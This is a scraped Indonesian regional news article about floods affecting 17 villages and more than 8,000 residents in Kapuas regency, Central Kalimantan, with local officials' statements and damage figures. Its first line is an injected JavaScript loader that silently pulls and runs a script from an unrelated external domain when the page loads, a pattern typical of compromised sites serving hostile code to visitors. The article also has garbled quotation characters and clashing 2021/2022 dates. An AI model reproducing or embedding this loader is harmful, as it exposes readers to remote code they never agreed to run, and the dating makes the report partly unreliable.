(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Ribuan rumah warga serta fasilitas umum terdampak banjir di Kabupaten Kapuas.
Pemerintah Kabupaten (Pemkab) Kapuas diminta tanggap atas bencana banjir yang terjadi di enam kecamatan wilayah hulu Kapuas.
Hal ini disampaikan, Ketua DPRD Kapuas, Ardiansah, pemerintah harus tanggap menyikapi banjir yang terjadi. Tanggap darurat diantaranya distribusi bantuan kebutuhan dasar, terutama keperluan makan dan minum, termasuk obat-obatan.
Ketua DPRD Kapuas Ardiansah. Foto: ags
Baca juga: Landmark Baru “Lapangan dr Murdjaniâ€, Ada Tujuh Kolam Ikan
“Musibah banjir ini, tentu aktivitas masyarakat terganggu. Untuk itu harus diperhatikan oleh pemerintah daerah dalam membantu masyarakat terdampak banjir,†kata Ardiansah, Kamis (18/11/2021).
Berdasar laporan Pusdalops-PB Badan Penanggulangan Bencana Daerah (BPBD) Kapuas per Rabu 17 November 2022 menyebutkan ada 17 desa di enam kecamatan wilayah hulu Kapuas yang terendam banjir.
Yakni di Desa Jakatan Mahasa, Kecamatan Mandau Telawang Desa Jakatan Mahasa, Desa Supang, Kecamatan Kapuas Hulu. Lalu di Kecamatan Pasak Telawang ada tujuh desa terendam yakni Desa Dandang, Jangkang, Kaburan, Hurung Kampin, Tumbang Tukun, Tumbang Nusa dan Desa Tumbang Diring.
Di Kecamatan Kapuas Tengah ada empat desa tergenang, Desa Pujon, Tapen, Marapit dan Desa Kota Baru. Kecamatan Mantangai, ada Desa Lapetan, Tabore dan Desa Tumbang Mangkutup. Banjir juga melanada Desa Tumbang Randang, Kecamatan Timpah.
Baca juga:Â Menteri Sofyan Djalil Akui Ada Oknum BPN Jadi Mafia Tanah
Ketinggian air bervariasi mulai 20 centi meter hingga 110 sentimeter. Kerugian materil akibat musibah tersebut ribuan rumah dan fasilitas umum terendam.
Sebanyak 1.455 rumah, 30 sarana pendidikan, 7 sarana kesehatan, 29 unit rumah ibadah, 25 unit fasilitas umum serta 37 titik akses jalan terendam.
Korban terdampak akibat banjir, sebanyak 2.653 kepala keluarga dengan 8.082 jiwa.
“Sampai saat ini belum ada laporan korban jiwa, hilang, sakit dan mengungsi akibat banjir tersebut. Dan saat ini pihak kecamatan dan desa masih melakukan pendataaan,†kata Ketua DPRD Kapuas. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.